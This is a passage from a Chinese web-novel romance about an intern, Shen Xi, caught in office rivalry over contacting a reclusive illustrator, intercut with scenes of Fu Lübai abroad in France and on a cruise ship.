正明晃晃的看着他,下巴微扬,十分的傲娇,不像别的女孩子,有着主动送别人东西的不好意思。
也没担心他会不知道是她送的,非常的有底气,像是心照不宣,更带着自己都没意识到的恃宠而骄。
傅律白视线停了两秒,冲着她勾起抹很淡的笑,像是示意知道她是一个受到一点点拨和解惑就会表达感恩,是个非常有礼貌的,在努力成为“沈小姐”的小姑娘;
同时,感激她的馈赠,又像是某种纵容。
他将视线收回,却忽然又想起什么,才偏了一点角度的目光便又重新看了过去。冲着她及不可察的向门外轻睇了下视线。
“?”
圆圆的眼睛睁大,黑溜溜的,随后又微微下压,带着点疑惑。软润的唇无意识微嘟,却不带任何矫揉造作,灵动到不行。
“那我——”程开霁侧头,却在看到身边人脸上的笑时忘记了下面的话。其实很淡,但确实一种发自内心的愉悦,那张总是温温淡淡似乎什么激不起强烈情绪的脸上,出现这样的表情,是非常震撼的。
程开霁下意识顺着他的目光看过去,鲜活的漂亮女孩似乎和那个背影彻底重合。
“你怎么?”傅律白收回视线,淡淡看着他。
“啊?”程开霁像是才回过神来,有些勉强的轻笑掩饰着情绪,“啊……没什么。”
傅律白轻皱了下眉,“你这两天怎么回事,和小舒吵架了?”
“怎么会。”这次的笑意达到眼底,“我怎么会和她吵架。”
傅律白不紧不慢说:“但她可以和你吵。”
“小舒不会。”言语间带着几分维护。
傅律白淡淡看了他一眼没说话,自家妹妹的脾气他多少还是了解的。
-
直到那道身影彻底消失不见,沈晞才收回视线,若有所思的喝了口咖啡。
嘶。
苦的她瞬间清醒。
侧头,便看见彭念真眼神有些迷离,连还红红的,“你没事吧?你脸好红。”
彭念真轻垂了下眼睫,捋了捋耳边的头发,说:“有点热。”
“啊……”沈晞轻眨了眼睛,像是想到了什么,“我也有点热,我出去透透风。”
说完,便后悔了,生怕彭念真跟着说一句“我也去”,不等她反应便快速起了身溜出去。
彭念真思绪完全没在这上面,她轻咬了下唇。
脑海中再次浮现出男人刚刚看过来的那一眼,虽然,之前和他打招呼时他人淡淡的,但是他还是注意到自己。不然刚刚不会看她。
想到这,才散下去一点的温度瞬间上来,脸更红了。
只有留在锐昇,留在行政部,才能和他有更多的交集和可能。不管是因为这个公司本身,还是别的什么,她都一定要留下来。
她看着沈晞慢慢缩小的背影,目光变得有些发沉。
8. 第 8 章
是她理解的那个意思吧?
她没理解错吧?
沈晞沿着身影消失的方向走去。路过茶水间时,还伸着脑袋往里面探半天,把正在接水聊天不知道哪个部门的两个人吓了一跳,还以为她是领导派来监督告密的呢,光速分开敛起笑容谁都不认识谁一样走了出去。
“……”
沈晞张了张嘴,觉得有点抱歉。
又走过财务部,再往前就是会议室,几乎一览无遗,安安静静的哪有什么人。
就当沈晞觉得自己疑神疑鬼有点可笑打算回去时,视线不经意往一侧那样一睇,就见两人站在走廊最深处的落地窗前,窗外天高云白,天蓝的像是拉高了饱和度,不远处是同样一栋栋高楼大厦。
他们负手而立,松弛恣意,矜贵的轻而易举。像是在拍什么时尚精英大片,十分激励人想要拼一拼搏一搏,去瞧一瞧站在他们这样高度所看到的风景和风光。
其实这地儿并不偏,一般是会议中场休息时,偶有人过来抽烟提神来的位置。只不过今日会议室没人,早上KOJG来时去的是别的会议室。
所以沈晞最初才没发现。
说实话,程开霁确实挺想抽根烟的,但是三哥在旁边怕熏着他就忍住了。此情此景,他觉得特像学生时代几个兄弟站教室门口,等人家女孩子下课。
只不过他没陪谁等过,按他们的说法就是:我说兄弟,你往旁边一站,谁还能看得见我们啊,你这纯纯是挖墙脚。
没想到学生时代没干过的事,今天倒是因三哥感受到了一把。三哥是不会有这样的顾虑的,无论三哥身旁站着的是谁,他都是最耀眼让人移不开视线的那个。
但他实在是太从容,淡淡地看着人走过来,让程开霁觉得是不是自己想多了。
“这几天我不在,有事找周闻颂。”
周闻颂,就是上次去学校接她的那个助理。
之前他也经常不在,也未特意说一声。所以他说的,应当是不在京市,甚至可能不在国内。
“你不带他一起么?”沈晞下意识问,出去办事不带助理,是不是太不方便?
问完,又觉得这个问题有些僭越,他怎样安排他的助理,似乎都不管她的事。
正暗自后悔,傅律白却漫不经心的说:“把他也带走,谁来管你。”
他的声音其实是偏冷静带着某种不容置喙的秩序感的,但此时微拖着调子听上去竟有几分缱绻勾人。
倒真像个长辈,对年下者不放心的叮嘱。
可偏偏又没那么正经,带着几分打趣,便又……像是多了别的意味。
沈晞不知该如何解读,但有一点听上去却十分确定。她像极了一个会频频出状况,需要人摆平问题的莽撞不安分人。
这实在是刺激了年下的反骨,沈晞大手一挥,相当有骨气,斩钉截铁的说:“你尽管将他带去,我一定不会找他。”
傅律白眸色微眨,似是若有所思。
沈晞下巴微扬,有点不服气的和他对视。
下一秒却听他说:“他哪里得罪了你,讲来听听,我叫他来给你赔个不是。”
“!”
她明明不是那个意思啊!人家助理工作做的超好的!
沈晞急忙想为他解释,不能因为她而影响了人家工作履历,便见面前的男人微微含笑意的眼睛。
那一瞬间,像是月光照在空濛远山上,温淡的眸光彩夺目熠熠生辉。
他是故意的!
傅律白走后没两天,不知是谁突发奇想,将各个部门的实习生叫到了一间会议室中,让他们共同从项目创意到落实开发,甚至都后面的推广完完整整的做下来。
只给了个限定时间和资金,其他什么都没在多说,负责人就走了。
虽然他们这里汇集了各部门的人,理论上来说每个环节都能开展。但他妈操作起来简直就是——
“我去,实习期就可以让我自主开发项目我真是想都不敢想啊啊啊啊啊啊啊啊”
“这就是大公司实力么?!这也太酷了吧!”
“职业履历第一条就是自己做项目,他妈的我不会直接凭借这个项目在业内直接闯出名号吧哈哈哈……”
“简直是在做梦。”
一道清甜却异常清醒冷静的声音,在一群畅享着未来狂热的年轻人躁动声中,显得格外的不协调。
一时间,空气像是凝固了,骤然安静。
“……”
沈晞也没想到自己一个没忍住竟然把真心话给说出来了。
在众人纷纷望过来凝视的目光中,她“哈哈”干笑了两声,用着夸张的情绪高涨的语气说:“简直是在做梦一样,这简直是疯了!”
锐昇是疯了么?仗着自己家底雄厚就开始胡搞。
这世界到底是个什么巨大的草台班子。
从上到下,没有草台班子就制造一个:)
凝固的空气这才开始继续流动,回到之前的躁动,“对啊多么的疯狂,简直crazy!”
沈晞微笑,打不过,只能被迫加入。
然而不到两天,这群有着无限梦想的年轻人便蔫了。
“不行啊老周,”一旁的梁靖计算器都快按出了火星子,推了推眼镜,用手比划着,“就你这想法简单一算,就已经比预算多出了个零了。”
这两天,就一直重复着提出想法,但不是这里操作不了就是资金不够上,一直推进不了。
梦想即将熄灭的灰都不剩,就在这时,谭浩挠了挠头,不太有把握的说:“其实我倒是有个想法,不知道行不行。”
“现在都什么时候了,你有就说吧,死忙当活马医。”梁靖催他。
谭浩边说,梁靖就边啪啪的快速算着。
其他部门的人都听不太懂,他们还是第一次这样彻彻底底的从一个项目伊始便联合办公。平时都是给到他们自己所熟悉的领域和环节,还是第一次如此直观的了解和感受每个部门工作时是这样的。
彼此也有了更多的理解,明白了每个部门的难处和不易。
沈晞忽然觉得,锐昇或许也不是在发疯。
大家虽然听不懂,但老周眼睛却越来越亮,梁靖更是在他说完后的两分钟,手指翻飞着,直到最后一个数字按完,激动的直接站了起来!
“可行啊!我觉得很可!”
老周也说:“要是预算没问题,我也觉得无论是想法上还是操作上,都非常可以!”
大佬们都这样讲,其他部门的实习生们也都跟着松了一口气。这两天他们帮不上一点忙,有力没处使只能干着急。
一听可以开展了,一个个人都精神了。
“不过——”
谭浩却又迟疑的开了口,把大家急的,“又怎么了,你倒是快说啊!”
“我这后期有个环节,需要有个授权,但是那个人……据说脾气古怪不是钱的问题。”他表情有些踌躇,大家也一时间没了声音。
这时,彭念真眼睛转了转,像是做了什么决定,忽然说:“还是先弄吧,这样卡着也不是办法,我们没太多时间了,在古怪的人都能交流沟通的,我来想办法。”
谭浩眼睛一亮,直直的看着她,其余人也向她投来目光。
有了她这句话,所有人都兴奋的动了起来。
其实这个工作,本来就要交给她们行政部的。主打一个内外协调关系的作用嘛,沈晞也对此没什么异议。却没看到彭念真不着痕迹,向她投过来的目光。
她们要联系的人是位插画师叫卓凌,只看画风便隐约感受到的到谭浩所说的性格古怪,也不能说是古怪,十分有自己的风格特色,带有很强的冲击力和攻击性,确实很符合谭浩的创意理念。
但卓凌本人又和她的画风截然相反,是个安静又神秘的人,能查到的只有她作品相关,关于她本人的少之又少。
甚至这两年,她的社交账号上,连作品都很少再发布。
她们查了一周,都没找到什么有用的突破口,沈晞觉得自己的眼睛都快瞎了,就在这时,旁边的人忽然“唰”的一下站了起来,吓得她手一抖,直接不小心关掉了个页面,“怎么了?”
彭念真下巴微扬的说:“我知道卓凌喜欢什么了。”
“什么?”
“西府海棠,”彭念真挑眉,“她丈夫每隔段时间就会买一束。”
说着,还指了指自己电脑上面的证据。她好不容易搜到了十年前,卓凌和一个帅气男人的合照,微靠在男人肩头,冷艳的脸上都变得多了几分温柔。于是她便顺藤摸瓜,结果真找到了男人的社交账号。
沈晞看过去,只见男人手捧着一束海棠花。
是个很大的突破,可她总觉得哪里有些不对。就像傅律白说的,一个人的言谈举止总会展露出写性格和身份来。那身为一个创作者,应该总会无意识将一些喜好放进作品里吧。可她这几天,翻看过了她所有的作品,也没见到西府海棠的影子。
她迟疑道:“不再确定一下了么?”
不就是怕自己抢了这份功劳么,彭念真语气不悦的质问道:“她丈夫时不时买西府海棠还不够确定?不是给她买难道还能是买个别人的么?总不能是他一个大男人买个自己的吧?”
沈晞轻皱了下眉,还未来得及开口,敲了十几个小时代码累晕过去直接趴在桌子上睡着的老周忽然醒了过来,睡着都没忘记想工作,睡眼惺忪的看彭念真站了起来,下意识问:“咋啦?有办法了?”
他声音大,一开口,所有人都在百忙中下意识抬起头,甚至手中键盘都还没忘记敲的看了过来。
“对,”彭念真斜睨了眼沈晞,随后看向众人,眼睛亮亮的带着几分自信和
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喜悦道,“我发现她丈夫每隔段时间就会给她送束西府海棠,我表哥刚好是开花店的,我可以让他帮我搞束最好的来。”
众人一听,松了口气,面露喜悦,“那可真是太好了!”
“这下我就可以放心大胆的干了,之前生怕做好一般gg就白给。”
“全靠你了彭念真。”
“应该的,”彭念真笑着,又一脸“看你现在还怎么跟我抢”的表情居高临下的看着沈晞道,“那以后我来负责对外,你对内,没意见吧?”
沈晞定定地看了她两秒,却忽然笑了下,“好啊。”
她眼睛很圆很干净,本是很乖的长相,每次笑时眼里都像是藏了太阳一样夺目,但此时,她笑容不及眼底,一双眸子忽然有着股置身事外的淡漠和邪恶。
让彭念真忽然有些紧张,不知道她是不是藏有什么后招。她强稳了稳心神,怕夜长梦多急匆匆的就要去推进这件事,只不过转身走时,却不露半分,以一个胜利者的姿态。
沈晞看着那道背影,不在意的轻嗤了下。做什么工作对她来说都没什么区别,任务细分很好,不会有人来打乱自己的节奏,更不用出了问题被连累平摊处罚。
她轻托着下巴,另一只轻点鼠标,却还是不由的想一个这么有个性甚至带着点攻击性的人,真的会喜欢这种精致娇小的花么?
-
法国奥尔良,卢瓦尔河岸的城堡里,浪漫的舞曲声以及一阵阵女士愉悦的笑声渐远,有着美丽如金子般漂亮卷发的年轻女生,提着湖蓝色的裙子优雅的从宴会厅走出来,一眼便见到了站在葡萄架旁打着电话的东方男性。
男人穿着休闲软质的白色衬衣,在周遭充满着热情又丰富的肢体语言中,他是唯一讲着异国话的人,讲话温淡又有秩序,虽然她并听不懂,可却觉得他美好的像是月亮。
“有疑问?”
明明是很淡的一句话,和之前的语气并不任何不同,甚至让人觉得,如果真的提出,他会耐心并且温和的替你解答,可电话那头的人却莫名心间一紧,本就不流利的中文说的更加结巴。
“妹、妹油嘚,十分抱歉傅先生,打扰了您的舞会。”
“没有关系Gabriele先生。”
“祝您有个愉快的下午。”
傅律白微笑着挂掉了电话,同时将手中拿着的杯中背后一口红酒喝完。
喉结随着吞咽的动作,上下滑动着,是那样的性感迷人。
“傅先生。”
金发女士眼睛直勾勾的走了过去,“您不打算邀请我跳一支舞么?”
傅律白淡淡侧身,看向这位不知何时站过来的年轻女生,脸上带着几分绅士的笑,“Anais小姐,我有些醉了,我想宴会厅中有很多优秀的男士渴望和您跳一支舞。”
他的发文发音很正,可却仍保持着那种温淡疏离的秩序感,像是高级的乐章,将周围其他人的声音显的越发聒噪。
Anais想,可她回过神来他讲话的内容,却愣住了。
她父亲是内阁最高级官员,她是整个宴会里最尊贵的女士,没想到自己会被拒绝,也从未遭受过拒绝的Anais有些任性道:“我不,我就要你和我跳。”
而男人只是淡淡的微笑了下,却神奇般的让她不好再对他提任何要求。她向来骄纵,要知道有时,她对着总统都敢提一些个要求的。
Anais有些怔愣的看着面前的男人。
男人对着她再次绅士浅笑,Anais却读出了送客的意思,而她也真神奇般的转身离开了,虽然还是有那么一点点的不甘。
Anais搞不懂这是为什么,直到很久之后确定,将它解释为神秘的东方力量,就像他腕上那串佛珠一样。
见他杯中酒喝完,穿着西装的男佣过来,尊敬的问:“先生,需要再帮您倒杯酒么?”
浓郁的花香被风吹散,傅律白莫名想起那位差不多年纪,却格外坦荡的姑娘。
如果她想要邀请他跳舞,一定会像那天感谢他而回馈他一杯咖啡一样,大大方方却又带着点傲娇的霸气,说:傅先生,跟我跳支舞。
好像就认定了他不会拒绝,没想过有被拒绝的可能。
“不,”他礼貌的拒绝了男佣的建议,温声道,“帮我换杯咖啡。”
男佣细心的提醒着,“先生您刚喝了酒,再喝咖啡可能会不舒服。”
“没关系,”他温声道,“要一杯手冲——”
他说完,声音一顿,像是想到什么,“咖啡。”
男佣愣了下,不懂为何又要强调,却只见先生说完,似乎更加愉悦。
他便也愉快的离开。
淡淡地葡萄香伴随着海水味吹来,在鲜嫩的果上结成露珠。
傅律白淡淡看过去,眼中及不可察的疲惫一扫而空。
-
9. 第 9 章
这天午休吃饭时间,说是午休但大家也没离开会议室,边吃边干着,只不过氛围稍微松散了点。
彭念真看了眼手机,过了会儿面带笑容的说:“我表哥说,那批花这两天就能运过来了。”
“那真是太好了!”
“啊啊啊这件事搞定后,咱们就休息下去吃火锅吧。”
“好啊!!!”
“天呐烧烤也安排,累死了,快放松一下!”
彭念真得意的看向沈晞,一脸“你还有什么后招,还拿什么跟我比”的表情。
沈晞却跟看不懂一样,拍着手语气夸张毫不走心道:“哇,你好棒啊!”
怎么听怎么像是在阴阳怪气。
偏偏她长得又纯又乖,眼睛亮亮的,做起表情来看上去竟一脸真诚。
什么绝世绿茶!
彭念真脸上的笑一僵,气的轻“哼”了声,收回了视线。
旁边的人不明所以,也被沈晞带动跟着接了一句,“啊,真的好棒啊!”
彭念真:“……”
-
好不容易不用加班,沈晞特意去买了学校外每次要排队好久的炸洋芋,
热气腾腾的托着小纸盒子,边走边插一颗吃,简直是对她这段时间最好的熨帖,幸福的快要死掉。
到了宿舍,发现宿舍门微开着,她有些意外。
难得宁今雨今天也下班这么早,两个人虽然住在一起,但这段时间各忙各的,才发现都好久没好好见过面了。每次不是一个人加班另一个人睡了,就是都忙到抬不起头。
“你吃饭了么?早知道你今天也回来这么早,我就不买小土豆了,咱们去吃二楼鸡公煲。”沈晞有点遗憾,南食堂那家的鸡公煲两个人都超级爱吃,马上就毕业了以后应该也很难在吃到,就应该趁机会多吃几顿。
她边说着边走进来。
宁今雨听到声音后回头,说:“这周日晚上我没事,要是你不加班咱们就去吃。”
“好啊,我应该没事。”沈晞眼睛亮了亮,同时发现她正在收拾包,愣了下问,“这么晚你还要出去啊?”
宁今雨眼睫微垂。
这时门又被人从外面打开,同层寝的刘颖忽然探头进来,“有针线么?”
沈晞下意识侧头看过去,想了下说:“有。”
然后转身去写字桌上面的架子上找。
宁今雨拿起桌上的包和她低声说:“我还有点事,走了。”
“哦。”沈晞拿到针线盒转过身来,随意问,“那今晚还回来么?”
这个时间出去办事,可能来不及回了,学校也不再对大四实习生查寝。
宁今雨却眸色微顿,声音更轻了,“回。”
便往外走。
刘颖也已经主动走进来,两个人擦肩而过的时候,对宁今雨笑着打了个招呼,宁今雨淡淡的点了下头。
“我刚刚在南门,看到小雨从一辆宾利车里下来,她一定是谈恋爱了。”刘颖接过针线盒,突然贴过来,冲着她笑的有些暧昧,然后又意味深长道,“她今晚可能不会回来喽。”
还未走远的宁今雨脚步忽然一顿,本是清冷的长相,但眸色忽然有些发沉,像是快要滴出水来,看上去竟有些破碎。
随后深吸了一口起,抬起头,看上去越发的清冷,像是无坚不摧,一步步往前走着。
寝室内。
沈晞轻皱了下眉,忽然有些不想借给她,但她已经将针线盒拿到了手中。
刘颖没看出她的表情,笑着说:“谢谢啦。”
看着两人床还铺的满满的,又有些惆怅,“不过你一抬头至少看到的不是光秃秃的床板,不会觉得太凄惨悲凉,唉我真的好想苗苗啊。”
“苗苗离校啦?”沈晞愣了下,将刚刚的情绪暂时放到一边。苗苗有个优盘还在她这里,每次碰到想起,却总是忘记又说下次,“她什么时候走的?”
刘颖幽怨道:“她年后就没回来,害我独守空房这么久。”
沈晞脑子却嗡的一下。
她怎么记得,那天她被大冒险骗去GUHIJ清吧时,宁今雨说的,就是和苗苗一起的啊?
今晚,直到她睡着,宁今雨都没有回来。
第二天,沈晞起床后,看到对面的床铺的整整齐齐,没有任何躺过的痕迹,眼睛轻眨了下。
到了公司,会议室一片愁云惨淡。
“怎么了?”
几个人一脸愁容的抬起头,不着痕迹冲着彭念真的位置看了眼。
昨天下去,彭念真特地穿着一身新买的漂亮衣服,拿着鲜艳欲滴的花去拜访卓凌。
谁知才进门,看到她手中的花时,卓凌脸色就变了,笑的有些诡异道:“你拿他心尖儿最喜欢的花来看我,真是好本事。”
随后二话不说的将她赶了出来,并且扬言不会再和锐昇集团从此有任何的合作。
她人都傻了,不但是这个项目,是和整个锐昇集团!
她怎么担得起!
对啊,你不就是他心尖儿么?彭念真都没反应过来,最后查了半天才发现。
还真让沈晞给说对了,他妈的那个渣男花真不是买个自己老婆的,是买给外边的小情儿的。
她竟然给原配送了小三最喜欢的花,这不是直接打人脸么!
根本在没转圜的可能。
彭念真看着对面,表情一脸平静的沈晞,眼睛一下就红了,“你是不是早就等着在看我笑话?”
沈晞觉得她脑回路惊人,轻睨着她反问:“你的笑话有什么好看?”
她语气间的不屑彻底刺激到了彭念真,“看我出错对你有什么好处?这个项目夭折我们都好过!”
“确实,但你不是要割席么,你自己恨不得像整个公司每个楼层,甚至保洁阿姨都知道,这部分是你负责的,等着到时候邀功。”沈晞看着她,轻笑了下,“你说,真受处罚,谁会更惨?”
彭念真脸色彻底变了,眼泪啪的一下流了下来。
对,她就是想在这次超过沈晞,证明不过是她运气好,遇到的主管能力也强给她的都是好项目。
但是现在,她直接给整个公司丢失了一个最优秀的合作者,并且是不可替代的那种。
她们平时不需要怎么参与项目讨论,所以离住会议桌有点远,两个人的对话没有被别人听到。
但大家却也看到彭念真哭了,也不好再多说什么。只是崩溃又绝望的说:“现在怎么办啊,我们是不是可以主动提离职了,总比到时候被扫地出门来的好看。”
“我觉得扫地出门都是轻的,那可是卓凌啊,虽然至今没和咱们公司合作过,可是就她这么有各种特色风格的,一定会合作的啊,被咱们给毁了。我们不会被整个行业拉进黑名单吧!”
沈晞眼睑轻垂,无声叹了口气,再次抬起眸,冲着彭念真轻扬了下下巴,不紧不慢说:“跟我道个歉,救你一次。”
“你有办法?”彭念真有些不敢置信的看着她。
都这种程度了,关系变成了这样,还能有什么办法?
沈晞轻挑了下眉,也诚实,漫不经心说:“不确定。”
“那我凭什么相信你,”彭念真心里有了些支撑,下巴微抬,“再说,不也是救你自己么?就像梁靖说的,我们可能都得走。”
沈晞无所谓的轻笑了下,漫不经心的转回头来,轻敲着键盘,“因为我不在乎啊。”
她确实是不在乎,不过是想着到底是他的公司,在他管理期间出了这样的事,以后再跳槽,可能就不能做个整日游手好闲也不用来公司的“傅先生”了。再说其他同事也很惨,消耗了那么多的心血和时间。
但对她而言,真的没关系,反正人生不过是白干加白干一场空忙活。不干一天也会过去,为无聊的人生打发时间而已。
不在乎还工作?
不过就是想诈她。
彭念真冷笑了下,忽然对着前面大声说:“沈晞,你有办法啦?”
众人纷纷看向她,惊喜道:“茜茜,你有办法?”
这段时间沈晞对内联系,大家都熟的叫起了她的小名。
沈晞一脸惊讶,毫无破绽道:“我怎么会有办法,这条线我都没时间跟进,都是念真在辛苦。”
众人有些丈二和尚摸不着头脑奇怪的看着彭念真,不知道她为什么这么讲。
这话,乍一听是在说彭念真辛苦,自己没帮上什么忙的谦虚。可放在现在情况下,就是实打实的阴阳怪气,又把自己给摘的干净。
彭念真简直受到了暴击,有些不敢置信的看向她。
便见她也转头看了过来,再无半点刚刚的惊讶和茫然,而是一脸“你这样很低级诶”的表情。
彭念真:“……”
见没群体压力没有起效,她吞咽了下,极不情愿的小声说了句:“对不起。”
沈晞眉梢微挑,也不看她,靠在椅背上漫不经心的说:“你说什么?我听不见。”
“……”彭念真深吸了一口气,像是受了极大的屈辱,“对不起——!”
这次,她声音大的整个会议室的人都听到了,还以为是在对他们说。
说实话,这事没办成,大家确实很崩溃烦躁,毕竟每个环节几乎都是一对一负责的。可听她这样讲,大家也不好再说什么,“啊算了,也不能怪你。”
“你也尽力了。”
彭念真眼睛都红了,一字一句几乎咬牙切齿的问向沈晞,“你满意了?”
“我只想安安静静的实个习,少给我惹事。”沈晞侧过身来,收起之前的懒散和漫不经心,微微俯身向她,并且很礼貌的问,“可以么?”
彭念真不懂,她是怎么顶着这样一张清纯又乖的脸,在这一刻生生出了股压迫感的,她是真的有被吓到,轻咽了下喉咙,“可、可以。”
“嗯。”沈晞很满意于她的配合,愉快的转过身去,像是福至心灵般对着大家说,“啊,我忽然想到一个办法。”
彭念真眼睛一眨不眨的看着面前这个,上一秒还满是压迫感下一秒就闪着一双圆溜溜漆黑清澈的眼,眼底带笑像是盛着晨光,纯粹美好像是毫无心机的人,人都傻了。
-
巨型邮轮在翻涌的海浪中平稳行驶,越过一座座小小的岛屿。海鸥低飞掠过海面发出一身鸣叫,和里面飘扬的交响乐回应,又渐远。
傅律白手轻抵着围栏站在甲板上,大西洋的咸咸的海风将他额前碎发吹得微微浮动,周闻颂简明扼要的汇报着这段时间的工作。
“嗯。”傅律白淡淡应了声,抬眸时发现一只海鸥叼着鱼,一双圆溜溜的小眼睛正盯着他,带着几分好奇的打量。大概是意识到被发现,顿时有些惊慌,扑哧了两下才飞走,翅尖羽毛甚至沾上了些海水。
他嗤笑了下,忽然想到什么,又问:“国内没其他事?”
电话那头的人顿了两秒,才反应过来这是在问什么,“没有,傅先生。”
挂掉电话,傅律白转身轻靠在栏杆上,眼底但着浅淡的笑。小姑娘倒是有骨气,说不找就不找,很是说话算话。
但也不是所有的姑娘都有骨气。
Anais化着精致的妆容,提着华丽的公主裙脚步轻快的跑过来,鬓前两缕卷发随着动作向后飘,“傅先生!”
傅律白眼底浅淡的笑意散去,一如往常的清浅温淡。
“不要总是来打扰傅先生。”Anais的父亲Alexis一身很标准的深棕色西装三件套,紧跟在后面训斥着。
傅律白淡淡看向走进的人,声音温淡道:“这个年纪的女孩子正是活泼爱玩闹的时候。”
十分的宽容,似是同时缓解着觉得失礼的父亲和冒失的女儿的尴尬。
可听在Anais耳中,却觉得像个宽容的长辈,有些不爽。她下巴微扬,“傅先生,我今年20岁,早已过了法定婚龄。”
法国女性十五岁便能结婚,这是在告诉他,自己已经不止是一个什么都不懂的女孩子,已经是一个随时可以进入婚姻成为某某夫人的女性。
只不过在看到面前如此清贵隽永的东方男人时,最后还是眼神微躲带上了几分羞怯。
果真是很相近的年纪,今年她是多大?二十一岁还是二十二岁?
但却学不出沈晞的半分坦荡直白来,毕竟那是个相当有骨气的姑娘,很是骄傲。
傅律白微侧了下头。
Alexis在旁一直悄悄打量着他的神色,不知他为何意。自己当然是十分愿意和傅先生拉上关系,这些天也给足了诚意,如果傅先生愿意那当然是很好。
但傅先生态度一直暧昧,不过分热情也不会不给面子。但此时,他却见傅先生听过这话后,眼中似乎闪过丝笑意,虽然转瞬即逝,但还是被他捕捉到。
他顿时心中一喜,觉得以后的关系也不是没可能更上一层楼。
-
锐昇集团二十层会议室。
Duang——
一沓厚厚的文件落在桌上。
埋头疯狂打字的沈晞整个人顿住,过了两秒发出了崩溃嚎叫,“啊——!”
响彻整个会议室。
众人纷纷投以同情且心疼的目光,手还按在文件上的谭浩安慰她,“茜宝儿茜宝儿坚持住,最后一波了。搞定就好了。”
沈晞侧头,一脸恨意的看向他,“谁叫你去卫生间的?!谁叫你碰到老徐的!谁叫你!把它!拿!给!我!的!!!”
谭浩双手合十一脸安抚,“人有三急啊茜宝儿我也不想的,再说我不碰到老徐,他也会叫人给你送过来的啊,逃不过的茜宝儿。”
这事闹这么严重,虽然最后被沈晞解决了,但还是被上层知道,甚至项目发起人徐经理。于是从上到下各种反思汇报总结,沈晞也一大堆写不完的报告,约定好的鸡公煲自然泡汤没能吃成。
好不容易看着小山终于变成薄薄几张,没想到又被送过来一沓。
沈晞目光有些空洞,一脸“我不听我不听我现在一个字都不想”的表情,绝望的抓着头发。
“茜宝儿别这样,明天就是光明的未来了。”
“对啊茜宝儿,要是我能帮你我肯定帮。”
“来茜宝儿喝点咖啡提提神。”
“茜宝儿吃蛋糕,甜品能让人心情好。”
众人围过来,投喂的投喂安慰的安慰。
沈晞一边张嘴,一边手不停,哀怨的看着他们,“别以为我不知道,你们是想让我明天继续给你们干活,根本才不是!什么光明未来!”
没办法,大家已经习惯了沈晞之前为他们各个部门之间协调联动对接,别人再中途插手实在是搞不明白,所以根本离了她不行。
“不是这样哒茜宝儿……”
大家三言两语,各种花言巧语,连哄再骗,终于暂时把沈晞安抚好了。
她把一切工作任务交接好,再听了徐经理五分钟陈词表扬后,终于从办公室走了出来。
她抬手伸了个懒腰,觉得终于暂时活过来了。手捏着僵硬的肩颈扭着脖子边往电梯间走,左转转右转转,就见彭念真站在不远处,穿着一身白,背着光,在安静的走廊里,造型其实有点吓人,正一脸阴郁的看着她。
看样子,应该是从行政经理办公室出来的。
沈晞懒得理她,自顾自的走着。
走到电梯转角处时,一道阴恻恻的声音从前方不远处响起,“这下你满意了?”
沈晞停下脚步,跟看神经病一样的看着她。
“其实你早就知道她喜欢什么是吧,然后看着我像傻逼一样的忙里忙外给人往上送,然后,你就可以不费吹灰之力的让我出局,顺便再显示你的能力让所有人都高看你是吧?真是杀人不见血的好手段。”彭念真自嘲的笑着,笑到最后有些诡异,“沈晞,我真是低估了。”
其实沈晞还真不是早就知道的,也就是她去送花前没两天的周末,外婆打来视频。
小老太太相当有闲情雅致,带着赵姨竟然跑到了苏市,去看什么苏绣展,还邀请她一起欣赏。
不过小老太太手机玩的不是怎么利索,满屏净看她烫的一头精致白色小卷发了,当时小老太太烫完头还说,她这是当下潮流的奶奶灰,非常时尚。
沈晞便只看着时尚老太太,也没提醒。卓凌便是从屏幕缝隙间一闪而过入境的,当时也只觉得有点眼熟,没多想。但气质实在是太过独特,彭念真被骂回来的那天,她忽然就想到了那人是谁。
但也没能确定,是又在彭念真发癫时,她不停的再次翻看着卓凌的作品,确实找到了不少苏绣的痕迹。但存在的实在是太过细微和抽象,以至于她最初没发现。
不过她非要这么说。
“是啊,要不你报警吧。”
彭念真被她如此无赖的一句话惊到,彻底怒火中烧,“那你当时还说什么不在乎留不留在公司,你装什么啊?!”
沈晞也烦了,本来她加班已经很不爽了,直接越过电梯向前一步,“是我逼着你让你去送花的么?我没提醒你么?你这样的人,出了事只会怨天怨地怨所有人,是不是哪天喝口水被呛死,
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都得怨世界上为什么要有水啊。从来不会想自己为什么要喝水是吧?从来不会反思也不会找自己的问题,没有人欠你,是你欠大家,尤其是我,你知道我因为你!增加了多少!工作量么?!最怕遇到你这样的猪队友,人菜屁事还多!”
她越说火越大,最后几句她音调都控制不住的拔高了。
彭念真被骂的像是个蔫打的茄子,她不想跟个茄子在大眼瞪小眼的浪费时间,很无语的瞪了她一眼便走了。
也不知过了多久,彭念真像是失了魂一样,捂着脸慢慢滑坐下去。
她本就是想趁这次机会好好表现自己,甚至连在谭浩说完这个想法鸦雀无声后,主动说自己想办法,也是为了在这样关键的节点站出来,被看到。
但是没想到事情会发展成这样,这小半个月项目组内部去都去找沈晞对接,哪怕沈晞忙得没时间管他们,他们也围在她的身边。而她不停的被主管甚至部门顶级领导谈话,她彻底完了。
-
沈晞一整个暴躁,加班烦傻逼同事更烦。
以至于电梯是上行的她都没意识到,直到电梯门打开,那位小一个月未见,清贵温淡的人出现在面前时,她都有些没反应过来。
他仍是那样子柔软的白衬衣,垂手而立。软棉的白衬衣垂坠在他的腕骨上,小紫叶檀佛珠微微露出一圈,衬得那白皙修长骨节分明自然垂着的手,都越发的清冷带着某种禁欲感。
好久未见,一时间其实多了些陌生感,虽然其实他们原本就不怎么熟。
但神奇般的,那股燥意好似在看到他的瞬间,便平复了下来。他好像就是有这样的本事,只要在他身边的人,都会沉心静气,被他所感染。
如果有一天他坐在寺庙里讲经布道,她一定不会再妄言谤佛。
两人站在电梯门口,一里一外一时间竟然谁都没有动。
最后,还是傅律白先回过神来,率先走了进去。
傅律白也有些意外,今日回来,也将她这段时间的表现知道了个大概,本想下去找她当面夸赞两句,程开霁有事坐着专梯先下去,他懒得等,见这边更快便按了。
没想到她倒是自己先过来了。
他手抵在开门键上问:“上来有事?”
温温淡淡的熟悉声让沈晞彻底回过神来,也打消了那么一点点的陌生感。自然不能让他知道自己人傻了上错了电梯,胡诌道:“来看风景,这层窗子往下看过去,格外的好看。”
这句倒不是假话,从这层看下面的车水马龙,有种绝对的俯视感,好似这繁华的京市都坐收眼底。
傅律白轻睨着她,她是真的很胡闹。虽然这层他们行政部的人可以不用随时通报的上来,方便和秘书办对接,但也没谁敢随便上来玩,只为看风景的。
但见她大大圆圆的眼,亮晶晶的,一颦一笑尽是灵动与鲜活。又怎么能因世俗规则而让这些从她脸上消失,到底是什么也没说的任由她胡闹。
